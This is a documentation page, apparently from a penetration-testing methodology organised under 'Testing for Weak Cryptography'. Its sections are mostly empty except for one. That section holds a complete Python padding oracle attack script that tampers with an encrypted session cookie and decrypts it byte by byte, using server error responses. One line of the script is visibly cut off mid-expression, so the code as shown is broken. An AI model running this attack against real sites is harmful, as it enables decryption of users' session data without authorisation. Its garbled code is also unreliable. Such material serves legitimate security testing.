For the complete documentation index, see llms.txt. This page is also available as Markdown.

4.9 Testing for Weak Cryptography

Testing for Weak Cryptography

4.9.1 Testing for Weak Transport Layer Security

Evidence:

4.9.2 Testing for Padding Oracle

import requests
import base64
import urllib.parse
import urllib3

# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Target URL
url = "<URL>"

# Proxy configuration
proxies = {
    'http': 'http://127.0.0.1:8080',  # Set your proxy here
    'https': 'http://127.0.0.1:8080'  # Set your proxy here
}

# Original cookie (URL decoded)
original_cookie = "<COOKIE>"

# Decode the cookie (it's URL encoded)
cookie_value = urllib.parse.unquote(original_cookie)

# Convert the cookie value from Base64 (replace URL-safe characters)
ciphertext = base64.b64decode(cookie_value)

# Splitting the ciphertext into blocks (assuming AES block size of 16 bytes)
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]

# Function to send a request with a modified cookie and check for padding errors
def check_padding_oracle(modified_ciphertext):
    # Base64 encode the modified ciphertext and URL encode it
    modified_cookie = base64.b64encode(modified_ciphertext).decode().replace('+', '-').replace('/', '_').rstrip('=')
    modified_cookie = urllib.parse.quote(modified_cookie)

    # Send the request with the modified cookie
    cookies = {'NotificationStateV2.0': modified_cookie}
    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  # verify=False to skip SSL warnings)

    # Check for a padding error based on the response
    # You may need to change this based on how the server responds (403, 500, specific message, etc.)
    if response.status_code == 500:  # Adjust this condition as needed
        return True  # Padding error
    return False

# Padding Oracle Attack logic
def padding_oracle_attack(blocks):
    decrypted_blocks = []
    for block_index in range(1, len(blocks)):
        decrypted_block = bytearray(block_size)  # Store decrypted bytes for this block
        intermediate_state = bytearray(block_size)  # Store intermediate state bytes

        previous_block = blocks[block_index - 1]
        current_block = blocks[block_index]

        # Decrypt each byte in the current block
        for byte_index in range(1, block_size + 1):
            padding_value = byte_index

            # Try all possible byte values to guess the correct padding
            for guess in range(256):
                # Modify the previous block to produce the correct padding
                modified_block = bytearray(previous_block)
                for i in range(1, padding_value):
                    modified_block[-i] ^= intermediate_state[-i] ^ padding_value

                modified_block[-padding_value] ^= guess

                # Concatenate the modified previous block and the current block
                modified_ciphertext = bytes(modified_block) + bytes(current_bl
                # Check if we found the correct padding
                if check_padding_oracle(modified_ciphertext):
                    intermediate_state[-padding_value] = guess ^ padding_value
                    decrypted_block[-padding_value] = intermediate_state[-padding_value] ^ previous_block[-padding_value]
                    break

        decrypted_blocks.append(decrypted_block)

    return b''.join(decrypted_blocks)

# Launching the attack
if __name__ == "__main__":
    decrypted = padding_oracle_attack(blocks)
    print("Decrypted message:", decrypted)

Evidence:

4.9.3 Testing for Sensitive Information Sent via Unencrypted Channels

Evidence:

4.9.4 Testing for Weak Encryption

Evidence:

Last updated